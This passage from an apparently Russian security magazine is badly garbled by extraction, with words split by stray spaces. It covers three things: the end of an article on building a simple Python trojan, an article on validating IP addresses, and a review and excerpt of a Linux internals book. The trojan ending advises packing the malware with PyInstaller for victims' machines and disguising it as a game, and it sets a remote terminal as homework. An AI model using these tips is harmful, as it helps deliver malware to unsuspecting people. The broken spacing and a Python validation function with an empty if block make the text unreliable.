вред  оно са не зависит от язы ка опе рацио  нной сис темы.

И  конечн  о,  сам  вирус  очень  желатель но  упа ковать  с  помощью  PyInstaller,
что бы  не  тянуть  с  собой  на  машину  жер твы  питон  и  все  зависи мос ти.  Игра,
которая  тре бует  для  работы  уста новить  модуль  для  работы  с  поч той,  —  что
может больш  е внуш  ать доверие?

ЗАКЛЮЧЕНИЕ
Се год няшний  тро ян  нас толь ко  прост,  что  его  никак  нельз  я  наз вать  боевым.
Тем не менее он полезен для изуч  ения основ язык  а Python и пониман  ия алго‐ 
рит мов работы более сложн  ых вре донос ных прогр  амм. Мы надее  мся, что ты
ува жаешь закон, а получен ные знан  ия о троя  нах тебе никогд  а не понадоб  ят‐ 
ся.

В  качест  ве  домаш него  задания  рекоменд  ую  поп робовать  реали зовать
двус торонн  ий  тер минал  и  шифр  ование  данн  ых  хотя  бы  с  помощью  XOR.
Такой  тро ян  уже  будет  куда  инте ресн  ее,  но,  безусл  овно,  исполь зовать  его
in the wild мы не при зыва ем. Будь акку ратен!

АДМИН

IP Даниил Батурин
Координатор проекта
VyOS (https://vyos.io),

«языковед»,
функциональщик,
иногда сетевой
администратор
[email protected]

БЕЗ ОШИБОК

ИЗУЧАЕМ ПРИНЦИПЫ РАБОТЫ
С IP‐АДРЕСАМИ

Люб  ое  прил  оже ние,  которое  хоть  как‐то  работае  т  с  сетью,
долж  но  валиди ровать  пра вильн  ость  IP‐адре сов.  Это  слож‐ 
нее, чем может показатьс  я. Здесь лег ко впасть в крайн  ост  и:
при  излишне  стро гой  валида ции  поль зователь  не  смо жет
ввест  и  вер ные  данн  ые,  при  недост  аточн  ой  —  окаж  етс  я
наеди не с низ коуров невыми сооб щения  ми об ошибк  ах (если
они  вооб ще  переда ются).  В  этой  статье  мы  раз берем  ряд
слож ностей,  возн  ика ющих  при  валида ции  адре сов,  а  потом
пос мотрим на готовые библ  иотек  и, которые с этим помога‐ 
ют.

ВАЛИДАЦИЯ АДРЕСОВ
Ошибк  и в адрес  ах могут появить ся трем  я спо соба ми:
• опеч  ат ки;
• не допо нима ние;
• на меренн  ые попыт ки слом  ать при ложен  ие.

От  попыток  сло мать  прил  ожен  ие  одна  валида ция  адре сов  не  поможет.  Она
может зат руднить такие попыт ки, но не заменит полн  оцен ную пров  ерк  у авто‐ 
риза ции и обраб  от ку оши бок на всех эта пах работы прог раммы, так что улуч‐ 
шение  безопасн  ости  нуж но  расс  мат ривать  ско рее  как  полез ный  побоч ный
эффект. Основная цель — упростить жизнь польз  овател  ям, которые слу чайн  о
вве ли невер ный адрес или непр  авиль но поняли, что от них треб  ует ся.

Про вер ки мож но условно раз делить на пров  ерк  и по фор ме и по сущес тву.
Цель  фор мальн  ой  про верк  и  —  убед  итьс  я,  что  вве денн  ая  польз  овате лем
стро ка  вообщ  е  может  быть  допуст  имым  адрес  ом.  Мно гие  прог раммы  огра‐ 
ничив  ают ся  именн  о  этим.  Мы  же  пойд  ем  дальш  е  и  пос мотрим,  как  мож но
про верять, что адрес не толь ко прав  ильн  ый, но и под ходящий для конк  рет ной
цели, но об этом поз же.

Проверки по форме
Про верк  а  прав  иль нос ти  форм  ата  толь ко  на  вид  может  показать ся  задачей
для нес ложно го регуляр ного выраже ния — на деле все не так прост  о.

В IPv4 сложн  ости начина ются со станд  арта на этот форм  ат — такого стан‐ 
дарта  не  сущес тву ет.  Форм  ат  dot‐decimal  (0.0.0.0–255.255.255.255)  —
общеприн  ятый,  но  не  стан дарт  ный.  Стан дарт  IPv4  не  содер жит  никаких  упо‐ 
минан  ий  о  фор мате  записи  адрес  ов  вооб ще.  Никакой  друг  ой  RFC  тоже
ничего не говорит о фор мате адрес  ов IPv4, так что общепри нятый фор мат —
это не более чем сог лашение.

И это даже не единст  вен ное сог лашение. Фун кция inet_aton() поз воля‐ 
ет не писать нулевые разр  яды в конц  е адре са, напр  имер 192.0.2 = 192.0.
2.0.  Кро ме  того,  она  позв  оляе  т  вво дить  адрес  одним  целым  числ  ом,  511  = 
0.0.1.255.

INFO

Мо жет  ли  адрес  хост  а  закан чивать ся  на  ноль?
Конечн  о, может — в любой сети разм  ером больш  е
/23  най дет ся  хотя  бы  один  такой.  Нап ример,
192.168.0.0/23  содерж  ит  адрес  а  хос тов
192.168.0.1–192.168.1.254,  включ  ая
192.168.1.0.

Есл  и огра ничитьс  я подд  ер жкой тольк  о пол ного dot‐decimal из четырех групп,
без  возм  ожнос ти  опуск  ать  нулевые  разр  яды,  то  выраже ние  (\d+)\.(\d+)\.
(\d+)\.(\d+)  может  пой мать  знач  ительн  ую  часть  опеч  аток.  Если  задать ся
целью,  можн  о  сос тавить  выражен  ие  для  любого  допуст  имого  адрес  а,  хотя
оно и будет доволь но гром  озд  ким. Луч ше вос поль зовать ся тем, что его лег ко
раз делить на групп  ы, и явно пров  ерить, что каж дая из них попада ет в диапа‐ 
зон 0–255:

def check_ipv4(s):
   groups = s.split('.')
   if len(groups) != 4:
   for g in groups:
       num = int(g)
       if (num > 255) or (num < 0):
           raise ValueError("Invalid octet value")

С  IPv6  все  одновре менн  о  про ще  и  сложн  ее.  Прощ  е  потому,  что  авто ры
IPv6  учли  опыт  IPv4  и  добави ли  фор мат  записи  адре сов  в  RFC 4291.  О  любых
альт  ер нативн  ых форм  атах мож но смел  о говорить, что они прот  ив стан дарта,
и игно риро вать. С дру гой стор  оны, сами форм  аты слож нее. Основную слож‐ 
ность  предс  тав ляет  сок ращен ная  запись:  груп пы  нулевых  разр  ядов  можн  о
заменять  на  симв  ол  ::,  напр  имер  2001:db8::1  вмест  о  2001:db8:0:0:0:0:
0:1.  Для  польз  овате ля  это,  безус ловно,  удоб но,  но  для  раз работ чика  все
ровн  о наобо рот: раз делить адрес на групп  ы по двое  точ  ию невозм  ожно, нуж‐ 
на  замет но  более  сложн  ая  логика.  К  тому  же  стан дарт  запр  еща ет  исполь‐ 
зовать ::  боль ше  одно го  раза  в  одном  адре се,  что  еще  сильн  ее  усложняе  т
задачу.

Так  что,  если  при ложе ние  под держи вает  IPv6,  для  валидац  ии  адре сов
нужен пол ноценн  ый парс  ер. Писать его самим нет смыс ла, поск  оль ку сущес‐ 
тву ют  готовые  биб лиоте ки,  которые  пре дост  авля ют  и  друг  ие  полез ные  фун‐ 
кции.

Проверки по существу
Есл  и  уж  мы  взя лись  под клю чать  биб лиотек  у  и  парс  ить  адрес  а,  давай  пос‐ 
мотрим, какие допол нитель ные про верк  и мы можем пров  ест  и, чтоб  ы отсея  ть
оши боч ные  знач  ения  и  сде лать  сооб щения  об  ошибк  ах  более  информат  ив‐ 
ными.

Нужн  ые про верк  и будут зависеть от того, как будет исполь зовать ся адрес.
Напр  имер, пусть польз  ователь хотел ввес ти в поле адрес  а сер вера DNS зна‐ 
чение  124.1.2.3,  но  опе чат ка  прев ратила  его  в  224.1.2.3.  Про верк  а  фор‐ 
мата  эту  опеч  ат ку  не  пой мает  —  форм  ат  прав  ильн  ый.  Однак  о  этот  адрес
никак  не  может  быть  адрес  ом  сер вера  DNS,  поск  оль ку  сеть  224.0.0.0/4
зарезер вирован  а  для  мно гоадр  есной  мар шрут  иза ции,  которую  DNS
не исполь зует никог да.

Есл  и ты хочешь отсея  ть все адре са, которые не могут быть адрес  ами хос‐ 
тов  в  пуб личном  интерне те,  почт  и  пол ный  спи сок  зарезер вирован ных  сетей
мож но  найт  и  в  RFC  5735  (Special  use  IPv4  addresses).  «Поч ти  пол ный»  он
потому, что не вклю чает сеть 100.64.0.0/10,  выделен ную  для  CG‐NAT  (RFC
6598).  Сов сем  пол ный  спис  ок  всех  зарезер вирован ных  диапаз  онов
IPv4 и IPv6 можн  о найт  и в RFC 6890, однак  о он не так удоб но орга низо ван.

При  этом  нуж но  обрат  ить  вни мание  на  мас ки  под сетей.  Некотор  ые
полагаю  т, что сеть для час тно го использ  ования — 172.16.0.0/16 (172.16.
0.0–172.16.255.255).  Чте ние  RFC5735  лег ко  разв  еет  этот  миф:  на  самом
деле  она  замет но  больш  е,  172.16.0.0/12  (172.16.0.1–172.31.255.254).
Реаль ный  прим  ер  этой  ошиб ки  в  GoatCounter  —  скрипт  сбо ра  стат  ис тики
ошиб  очн  о счит  ал посещен  ия изнутри локаль ной сети.

Нужн  о  так же  учит  ывать,  что  «зарезерв  ированн  ые  для  использ  ования
в  будущем»  сети  могут  перес тать  быть  зарезер вированн  ыми.  Сети  из  RFC
5735  зарезерв  ирова ны  нав сегда  и  в  этом  смыс ле  безопас ны.  А  вот  автор  ы
неког да популяр ной сре ди гей меров вир туальн  ой сети Hamachi ког да‐то счи‐ 
тали, что сеть 5.0.0.0/8 можн  о использ  овать для сво их нужд, потому что она
была  зарезер вирован  а  для  будущег  о  использ  ования,  —  пока  будущее
не наст  упило и IANA не выделил  а эту сеть RIPE.

БИБЛИОТЕКИ
netaddr
В стан дар тной биб лиотек  е Python 3 уже есть модуль ipaddress, но, если есть
возм  ожность  пос тавить  стор  онн  юю  биб лиотек  у,  netaddr  может  силь но
упростить  жизнь.  К  прим  еру,  в  ней  есть  встрое  нные  фун кции  для  про верк  и
прин  ад лежнос ти адре са к зарезер вирован ным диапа зонам.

>>> import netaddr
>>> def is_public_ip(s):
...     ip = netaddr.IPAddress(s)
...     return (ip.is_unicast() and not ip.is_private() and not ip.
is_reserved())
...
>>> is_public_ip('192.0.2.1') # Reserved for documentation
False
>>> is_public_ip('172.16.1.2') # Reserved for private networks
False
>>> is_public_ip('224.0.0.5') # Multicast
False
>>> is_public_ip('8.8.8.8')
True

Да же если бы этих функ  ций не было, мы могл  и бы лег ко реали зовать их сами.
Библ  иотек  а  очень  грам  от но  исполь зует  ма гическ  ие  методы,  что бы  сдел  ать
интерфейс таким же удобн  ым, как у встро енных объе  ктов Python. Нап ример,
про вер ку  при над лежнос ти  адрес  а  к  сети  или  диапа зону  можн  о  выпол нить
опе рато ром  in,  так  что  работать  с  ними  не  сложн  ее,  чем  со  списк  ами
или сло варя ми.

def is_public_ip(s):
   loopback_net = netaddr.IPNetwork('127.0.0.0/8')
   multicast_net = netaddr.IPNetwork('224.0.0.0/4')
   ...

   ip = netaddr.IPAddress(s)
   if ip in multicast_net:
       raise ValueError("Multicast address found")
   elif ip in loopback_net:
       raise ValueError("Loopback address found")
   ...

libcidr
Да же для чист  ого С мож но найт  и библ  иоте ку с удобн  ым интерфейс  ом, такую
как  libcidr  Мэттью  Фул лера.  В  Debian  ее  мож но  пос тавить  из  репозит  ори ев.
Для  при мера  напишем  про вер ку  при надл  ежнос ти  адре са  к  сети  multicast
и положим ее в файл is_multicast.c.

#include <stdio.h>
#include <libcidr.h>

void main(int argc, char** argv) {
   const char* ipv4_multicast_net = "224.0.0.0/4";

   CIDR* ip = cidr_from_str(argv[1]);
   CIDR* multicast_net = cidr_from_str(ipv4_multicast_net);

   if( cidr_contains(multicast_net, ip) == 0 ) {
       printf("The argument is an IPv4 multicast address\n");
   } else {
       printf("The argument is not an IPv4 multicast address\n");
   }
}

 
$ sudo aptitude install libcidr‐dev 
$ gcc ‐o is_multicast ‐lcidr ./is_multicast.c 
$ ./is_multicast 8.8.8.8 
The argument is not an IPv4 multicast address 
$ ./is_multicast 239.1.2.3 
The argument is an IPv4 multicast address
 

ЗАКЛЮЧЕНИЕ
Вал  идац  ия адрес  ов и выдача информат  ивн  ых сообщ  ений об оши боч ных нас‐ 
трой ках  вро де  бы  нез начитель ная  часть  интерфейс  а,  но  вни мание
к деталям — призн  ак проф  есс  ионал  из ма, тем более что готовые библ  иоте ки
сущес твенн  о упро щают эту задачу.

АДМИН

ПРОЦЕССЫ И ПАМЯТЬ

В LINUX
ОТРЫВОК ИЗ КНИГИ
«ВНУТРЕННЕЕ УСТРОЙСТВО LINUX»

Издательство «БХВ»

Проц  есс  ы  опер  аци онной  сист  емы  в  боль шинс тве  слу чаев
отож дест вля ются  с  выполн  яющим  ися  прогр  аммам  и,  что
не сов сем верн  о, точн  ее — совс  ем невер но. В сов ременн  ых
опер  ацио  нных  сис темах,  включ  ая  Linux,  межд  у  прог раммой
и  про цесс  ом  есть  оче видн  ая  взаи  мос вязь,  но  далеко
не такая непоср  едст  венн  ая, как кажетс  я на перв  ый взгляд.

О книге

Сов сем  недавн  о  в  изда тель стве  БХВ  вышл  о  втор  ое  издан  ие  кни ги  Дмит рия
Кетова «Внут реннее устрой ство Linux». Я про чел пре дос тавленн  ый издат  ель‐ 
ством  экземп  ляр  и  сдел  ал  свои  выводы  о  качест  ве  книг  и,  ее  плюс  ах
и  целевой  аудит  ории.  В  прид  ачу  мы  пуб лику ем  отры вок  книг  и,  который  поз‐ 
волит тебе сос тавить собс твенн  ое мне ние.

Несм  отря  на  громк  ое  наз вание,  эта  кни га  —  не  об  устройс  тве  Linux.
Из  нее  ты  не  узна ешь,  как  работа ет  сист  ема  управле ния  вир туаль ной
памятью ядра Linux или файл  овая сист  ема Btrfs. Эта кни га — ско рее учеб ник
«GNU/Linux для про дол жающих», то есть тех, кто понял, что такое команд  ный
интер прет  атор и пра ва дост  упа, но хотел бы копн  уть глуб же и понять, почему
этот  интерп  рет  атор  именн  о  такой,  с  какой  целью  появил ся  инст  ру мент  sudo
и почему, несм  отря на весь хейт, менедж  ер Systemd стал стан дартом.

Глав ное дост  оинс тво книг  и — гра мот ное балан сирова ние межд  у теорией
и  прак тикой.  Автор  соп ровож дает  текст  боль шим  количес твом  исто рическ  их
спра вок и деталей, которые быва ют незн  акомы даже мне, умудр  енно му двад‐ 
цатилет ним опыт  ом линукс  оиду. При этом практ  ичес ки кажд  ое выск  азыван  ие
авто ра  сопр  овожд  ает ся  прим  ером,  пояс няющим  теорию.  Хочешь  увид  еть,
как  работа ют  управля ющие  пос ледоват  ель нос ти  терм  инала?  Вот  тебе  лис‐ 
тинг команд с отметкам  и, где, что и как надо нажать.

Вто рой  плюс  —  пол нота  информа ции.  Несм  отря  на  масс  у  подр  обнос тей
о  реали зации  ком понент  ов  типич ного  дист  ри бути ва  и  срав нительн  о  неболь‐ 
шой  объе  м,  кни га  охва тывае  т  прак тическ  и  все,  что  может  быть  инте рес но
польз  овател  ю, начиная от эмул  ято ра тер минала и коман дно го интер прет  ато‐ 
ра  и  заканч  ивая  граф  ическ  ой  сис темой  Wayland,  которая  тольк  о  готовит ся
занять мес то станд  арт  ной в дист  ри бутив  ах Linux, пла ниров щиком BFQ и кон‐ 
тейн  ерн  ой сист  емой Docker, о которых ты не узнае  шь из более «акад  емич  ес‐ 
кой» и «про верен ной врем  енем» литера туры.

В  целом  эта  кни га  для  тех,  кто  стрем  ит ся  стать  тем  самым  гуру  Linux,
который  не  тольк  о  смо жет  рас ска зать,  как  уда лить  «неудал  яемый»  файл
или  исправ  ить  терм  инал  пос ле  вывода  в  него  бинар ного  фай ла,  но  и  будет
понимать, почему эти инст  рукц  ии работа ют. Но это точ но кни га не для тех, кто
хотел бы разобр  атьс  я, как работа ют опер  ацио  нные сис темы на уровн  е ядра.

— Евг  ений Зоб нин

INFO

На  сай те  изда тельс  тва  можн  о  купить  эту  кни гу
со  скидк  ой  20%  по  пром  окод  у  linuxakep.  Про‐ 
мокод  сле дует  ввес ти  на  этап  е  офор млен  ия
заказа,  нажав  на  ссыл ку  «У  вас  есть  купон?  Наж‐ 
мите здесь для введ  ения кода».

ПРОГРАММЫ И БИБЛИОТЕКИ
Прогр  амма  пред став ляет  собой  ал горитм,  записан ный  на  опред  еленн  ом
язык  е, понят ном исполни телю прог раммы. Раз личаю  т машин ный язык, понят‐ 
ный  цент  ральн  ому  проц  ес сору,  и  язы ки  более  высоких  уров ней  (алгор  ит‐ 
мическ  ие), понят ные сост  авите лю прог раммы — прогр  аммис ту.

Прог раммы,  сост  авлен ные  на  язы ке  высоког  о  уров ня,  в  любом  случ  ае
перед  исполне нием  дол жны  быть  транс  лир  ова ны  (перевед  ены)  на  язык
исполни теля, что реали зует ся при помощи спе циаль ных средств — транс  ля- 
торов.  Разл  ича ют  два  вида  тран слят  оров  прогр  амм  —  ком пилятор  ы  и  ин- 
тер пре тато ры. Ком пилятор тран сли рует в машинн  ый код сра зу целиком всю
прог рамму  и  не  учас тву ет  в  ее  исполнен  ии.  Интерп  ре татор,  наобор  от,
пошаго во  транс  ли рует  отдель ные  инст  рук ции  прогр  аммы  и  немед ленно
выпол няет  их.  Нап ример,  ком  анд  ный  интер прет  атор  при  инте рак тивном
режиме  пошаго во  выпол няет  команд  ы,  ввод  имые  поль зовател  ем,  а  в  пакет‐ 
ном режиме так же пошагов  о выпол няет команд  ы, записанн  ые в файл  е сце‐ 
нария.

Алг оритм,  в  свою  очер  едь,  есть  некото рый  набор  инс трукц  ий,  выпол‐ 
нение  которых  при водит  к  решению  кон крет ной  задачи.  В  больш  инс тве  слу‐ 
чаев  инс трукц  ии  алго рит ма  име ют  прич  инн  о‐следст  венн  ые  зависи мост  и
и  выпол няют ся  исполни телем  пос ледова тельн  о.  Одна ко  если  выделить
«независ  имые»  подн  аборы  инс трукц  ий  (незави симые  вет ви),  то  их  мож но
выпол нять  неск  оль кими  исполни телям  и  одноврем  ен но  —  па рал лель но.
Поэто му  разл  ича ют  посл  едова тельн  ые  и  парал лельн  ые  алго рит мы  и  соот‐ 
ветс тву ющие  им  пос ледоват  ельн  ые  и  парал лельн  ые  прогр  аммы.  Некото рые
прогр  аммы  реализ  уют  алго рит мы  общег  о  назн  ачения,  нап ример  алго рит мы
сжат  ия  или  шиф рования  информац  ии,  алго рит мы  сетевых  прот  окол  ов  и  т.  д.
Такие  прог раммы,  вос тре бованн  ые  не  столь ко  конеч ными  поль зовател  ями,
сколь ко дру гими прог рамма ми, называ ют биб лиоте ками.

Согл  асно hier, откомпи лиро ванн  ые до машинн  ого язык  а прогр  аммы раз‐ 
мещаю  тся в катало гах /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin,
/usr/local/sbin, а библ  иотек  и — в катало гах /lib, /usr/lib, /usr/local/
lib.  Прогр  аммы  име ют  спец  иальн  ый  бинарн  ый  «запус каемый»  форм  ат  W:
[ELF]  executable  и  зависят  от  библ  иотек,  что  про иллюст  ри рован  о  в  сле‐ 
дующем  лист  инге  при  помощи  коман ды  ldd  (loader  dependencies).  Кажд  ая
зависи мость  отобр  ажае  тся  име нем  библ  иоте ки  ❶   (SONAME,  shared  object
name), найд  енн  ым в сис теме фай лом биб лиоте ки ❷ и адрес  ом в памяти про‐ 
цес са ❸ (32‐ или 48‐бит ным, в зависи мост  и от плат формы), куда библ  иотек  а
будет загр  ужена.

Прог раммы и библ  иотек  и

 
fitz@ubuntu:~$ which ls 
/usr/bin/ls 
fitz@ubuntu:~$ file /usr/bin/ls 
/usr/bin/ls: ELF 64‐bit LSB pie executable, x86‐64, version 1 (SYSV), 
dynamically linked, interpreter /lib64/ld‐linux‐x86‐64.so.2, 
BuildID[sha1]=2f15ad836be3339dec0e2e6a3c637e08e48aacbd, for GNU/Linux 
3.2.0, stripped 
fitz@ubuntu:~$ ldd /usr/bin/ls 
    linux‐vdso.so.1 (0x00007ffcb529d000) 
    libselinux.so.1 => /lib/x86_64‐linux‐gnu/libselinux.so.1 (0x00007f‐
b02f58d000) 
  ❶ libc.so.6 => ❷ /lib/x86_64‐linux‐gnu/libc.so.6 (0x00007fb02f39c000) 
❸ 
    libpcre2‐8.so.0 => /lib/x86_64‐linux‐gnu/libpcre2‐8.so.0 (0x00007f‐
b02f317000) 
    libdl.so.2 => /lib/x86_64‐linux‐gnu/libdl.so.2 (0x00007fb02f311000) 
    /lib64/ld‐linux‐x86‐64.so.2 (0x00007fb02f5f1000) 
    libpthread.so.0 => /lib/x86_64‐linux‐gnu/libpthread.so.0 
(0x00007fb02f2ee000)
 
fitz@ubuntu:~$ file /lib/x86_64‐linux‐gnu/libc.so.6 
❹ /lib/x86_64‐linux‐gnu/libc.so.6: symbolic link to libc‐2.30.so
 

Нужн  о  заметить,  что  фай ла  биб лиоте ки  linux‐vdso.so.1  (реали зующей
интерфейс  сист  емных  вызовов  к  ядру)  не  сущес твуе  т,  так  как  она  явля ется
вир туаль ной  (VDSO,  virtual  dynamic  shared  object),  т.  е.  пре дос тавляе  тся
и  отоб ража ется  в  память  про цес са  самим  ядром,  «как  буд то»  явля ется  нас‐ 
тоящей  биб лиоте кой.  Кро ме  того,  биб лиотек  а  ld‐linux‐x86‐64.so.2  ука‐ 
зана абсо лют ным путевым имен  ем, поэтом  у поиск ее файл  а не про извод  ит‐ 
ся.

Для  больш  инс тва  библ  иотек  зависи мость  уста навл  ива ется  при  помощи
SONAME  вида  libNAME.so.X,  где  lib  —  станд  ар тный  пре фикс  (library,  биб‐ 
лиоте ка),  .so  —  суфф  икс  (shared  object,  разд  еля емый  объ ект),  NAME  —  имя
«собст  венн  ое»,  а  .X  —  номер  вер сии  ее  интерфейс  а.  По  имен  и  SONAME
в  опре деленн  ых  (кон фигура цией  комп  онов щика)  каталог  ах  прои  звод  ит ся
поиск одно именн  ого файл  а библ  иотек  и, который на самом деле оказ  ыва ется
симв  оличес кой  ссыл кой  ❹   на  «наст  оящий»  файл  библ  иоте ки.  Нап ример,
для  6‐й  вер сии  интерфейс  а  динамич  ес кой  библ  иотек  и  язык  а  с  (libc.so.6)
наст  оящий файл биб лиоте ки называе  тся libc2.30.so, что ука зывае  т на вер‐ 
сию самой биб лиоте ки как 2.30.

Вер сии библ  иотек

 
fitz@ubuntu:~$ file /lib/x86_64‐linux‐gnu/libpcre2‐8.so.0 
/lib/x86_64‐linux‐gnu/libpcre2‐8.so.0: symbolic link to libpcre2‐
8.so.0.7.1
 

Анал  огичн  о,  в  прив  еден ном  выше  лист  инге  показа но,  что  для  0‐й  верс  ии
интерфейс  а  динамич  ес кой  библ  иотек  и  регулярн  ых  perl‐выраже ний  pcre2
(libpcre2‐8.so.0) нас тоящий файл библ  иоте ки называ ется libpcre2‐8.so.
0.7.1, а это указ  ыва ет на верс  ию самой библ  иоте ки как 0.7.1.

Та кой  под ход  позв  оляе  т  заменять  (исправ лять  ошиб ки,  улуч шать  неэф‐ 
фектив ные  алго рит мы  и  пр.)  библ  иотек  и  (при  услов  ии  неизм  еннос ти  их
интерфейс  ов)  отд  ельн  о  от  прог рамм,  зависящ  их  от  них.  При  обновлен  ии
биб лиотек  и libc2.30.so, напр  имер, до libc2.32.so дос таточн  о уста новить
симв  олическ  ую  SONAME‐ссыл ку  libc.so.6  на  libc‐2.32.so,  в  результ  ате
чего  ее  нач нут  исполь зовать  все  прог раммы  с  зависи мос тями  от  libc.so.6.
Более  того,  в  сист  еме  может  быть  одноврем  енн  о  уста нов лено  любое
количес тво  верс  ий  одной  и  той  же  биб лиоте ки,  реализ  ующих  оди нако вые
или  раз ные  вер сии  интерфей сов,  выбор  которых  будет  указ  ан  соот ветст  ву‐ 
ющим  и SONAME‐ссыл ками.

Библ  иоте ки — это незапус каемые прогр  аммы

 
fitz@ubuntu:~$ file /lib/x86_64‐linux‐gnu/libc‐2.30.so 
/lib/x86_64‐linux‐gnu/libc‐2.30.so: ELF 64‐bit LSB shared object, x86‐
64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld‐
linux‐x86‐64.so.2, BuildID[sha1]=2155f455ad56bd871c8225bc‐
ca85ee25c1c197c4, for GNU/Linux 3.2.0, stripped 
fitz@ubuntu:~$ file /lib/x86_64‐linux‐gnu/libpcre2‐8.so.0.7.1 
/lib/x86_64‐linux‐gnu/libpcre2‐8.so.0.7.1: ELF 64‐bit LSB shared object, 
x86‐64, version 1 (SYSV), dynamically linked, BuildID[sha1]=815e1acbc‐
c22015f05d62c17fe982c1b573125b1, stripped
 
fitz@ubuntu:~$ ldd /lib/x86_64‐linux‐gnu/libpcre2‐8.so.0.7.1 
        linux‐vdso.so.1 (0x00007ffe22093000) 
        libpthread.so.0 => /lib/x86_64‐linux‐gnu/libpthread.so.0 
(0x00007f8ec2bdd000) 
        libc.so.6 => /lib/x86_64‐linux‐gnu/libc.so.6 
(0x00007f8ec29ec000) 
        /lib64/ld‐linux‐x86‐64.so.2 (0x00007f8ec2c99000)
 

Библ  иоте ки  име ют  тот  же  бинар ный  фор мат  W:[ELF],  что  и  «запуск  аемые»
прог раммы,  но  не  «запуск  аемый»  executable,  а  «сов мес тно  использ  уемый»
shared  object.  Биб лиоте ки,  являя  сь  пусть  и  незапус каемы ми,  но  прогр  амма‐ 
ми,  естес твенн  ым  образ  ом  тоже  зависят  от  друг  их  биб лиотек,  что  показа но
в  след  ующем  лист  инге.  Прак тичес ки  «запус каемость»  ELF‐файл  ов  зависит
не от их типа, а от прав дос тупа и осмыслен ности точк  и вхо да — адрес  а пер‐ 
вой  инст  рук ции,  которой  передае  тся  управле ние  при  попыт ке  запус ка.  Нап‐ 
ример,  биб лиотек  у  libc‐2.30.so  мож но  запуст  ить,  в  резуль тате  чего  будет
выведен  а ста тусн  ая информац  ия.

За пус каемые биб лиоте ки

 
fitz@ubuntu:~$ ls –l /lib/x86_64‐linux‐gnu/libc‐2.30.so 
  ‐rwxr‐xr‐x 1 root root 2025032 сен 16 17:56 /lib/x86_64‐linux‐
gnu/libc‐2.30.so 
fitz@ubuntu:~$ /lib/i386‐linux‐gnu/libc‐2.15.so 
GNU C Library (Ubuntu GLIBC 2.30‐0ubuntu2) stable release version 2.30. 
Copyright (C) 2019 Free Software Foundation, Inc. 
This is free software; see the source for copying conditions. 
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A 
PARTICULAR PURPOSE. 
Compiled by GNU CC version 9.2.1 20190909. 
libc ABIs: UNIQUE IFUNC ABSOLUTE 
For bug reporting instructions, please see: 
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
 

Ядро Linux
Не  сто ит  забывать,  что  самой  главн  ой  прог раммой  опе раци онной  сист  емы
явля ется ее ядро, которое в Linux сост  оит из ста тичес кого старт  ового модуля
в  фор мате  ELF  executable  и  динамич  ес ки  прис тыковыв  аемых  прог рамм  ных
модулей фор мата ELF relocatable. Для выпол нения про цеду ры начальн  ой заг‐ 
рузки  стар товый  модуль  упак  ован  в  «саморас паковыв  ающий ся»  gzip‐архив
фор мата  bzImage  (big  zipped  image),  который  сос тоит  из  прог раммы  рас‐ 
паков ки и собст  вен но запаков  ан ного стар тового модуля.

В  при веденн  ом  ниже  лист  инге  про иллюст  ри рован  проц  есс  извле чения
стар тового  модуля  из  архи ва  /boot/vmlinuz‐3.13.0‐49‐generic  форм  ата

⓿bzImage  ,  который  предв  аритель но  копируе  тся  ❶   в  /tmp/vmlinuz.

Для  извлеч  ения  использ  ует ся  сцен  арий  extract‐vmlinux  ❷   из  пакета
заголо воч ных файл  ов ядра. Рас пакован ный ❸ старт  овый модуль /tmp/vmlin‐
ux  ожи даемо  ока зывае  тся  стат  ичес ки  скомп  онованн  ой  (т.  е.  не  исполь‐ 
зующей библ  иотек  и ELF shared object) исполня емой ELF‐прог раммой.

Яд ро опер  ацио  нной сист  емы

 
fitz@ubuntu:~$ uname ‐r 
5.3.0‐23‐generic 
fitz@ubuntu:~$ file /boot/vmlinuz‐5.3.0‐23‐generic 
/boot/vmlinuz‐5.3.0‐23‐generic: regular file, no read permission 
fitz@ubuntu:~$ ls ‐l /boot/vmlinuz‐5.3.0‐23‐generic 
‐rw‐‐‐‐‐‐‐ 1 root root 11399928 ноя 12 11:51 /boot/vmlinuz‐5.3.0‐23‐
generic 
fitz@ubuntu:~$ sudo file /boot/vmlinuz‐5.3.0‐23‐generic 
⓿ /boot/vmlinuz‐5.3.0‐23‐generic: Linux kernel x86 boot executable bzIm‐
age, version 5.3.0‐23‐generic (buildd@lgw01‐amd64‐002) #25‐Ubuntu SMP 
Tue Nov 12 09:22:33 UTC 2019, RO‐rootFS, swap_dev 0xA, Normal VGA 
❶ fitz@ubuntu:~$ sudo cat /boot/vmlinuz‐5.3.0‐23‐generic > /tmp/vmlinuz 
❷ fitz@ubuntu:~$ /usr/src/linux‐headers‐5.3.0‐23/scripts/extract‐vmlinux 
/tmp/vmlinuz > /tmp/vmlinux 
fitz@ubuntu:~$ file /tmp/vmlinux 
  /tmp/vmlinux: ELF 64‐bit LSB executable ❸, x86‐64, version 1 (SYSV), 
statically linked, BuildID[sha1]=b23ff3f6790319ec538278e3269af619ba2‐
ca642, stripped
 

Ди нами чес кие модули загр  ужаю  тся в прос транст  во ядра и прист  ыковы вают ся
к  старт  овому  модулю  поз днее,  уже  при  работе  опер  аци онной  сис темы
при  помощи  сист  емных  ути лит  insmod  или  modprobe.  Для  отстык  овк  и  и  выг‐ 
рузки ненуж ных модулей пред назна чена сис темная утил  ита rmmod, для прос‐ 
мотра спис ка ❶ заг руженн  ых модулей — lsmod, а для идент  ифика ции свой ств
и  парамет ров  ❷   модулей  —  ути лита  modinfo.  Заг рузка  и  выгр  узка  модулей
реализ  ует ся  спец  иаль ными  сис темным  и  вызовам  и  init_module  и  delete_‐
module,  дост  уп  к  списк  у  загр  уженн  ых  модулей  —  при  помощи  файл  а  /proc/
modules  псевд  офай ловой  сист  емы  proc,  а  иден тификац  ия  свойс  тв
и парамет ров модулей — чтен  ием спец  иаль ных сек ций ELF‐файл  ов модулей.

Модули ядра

 
❶ fitz@ubuntu:~$ lsmod 
Module                  Size  Used by 
... 
i915                 1949696  4 
... 
btusb                  57344  0 
... 
uvcvideo               98304  0 
... 
e1000e                 258048 0 
... 
❷ fitz@ubuntu:~$ modinfo i915 
filename:       /lib/modules/5.3.0‐23‐
generic/kernel/drivers/gpu/drm/i915/i915.ko 
license:        GPL and additional rights 
description:    Intel Graphics 
... 
fitz@ubuntu:~$ file /lib/modules/5.3.0‐23‐
generic/kernel/drivers/gpu/drm/i915/i915.ko 
/lib/modules/5.3.0‐23‐generic/kernel/drivers/gpu/drm/i915/i915.ko: ELF 
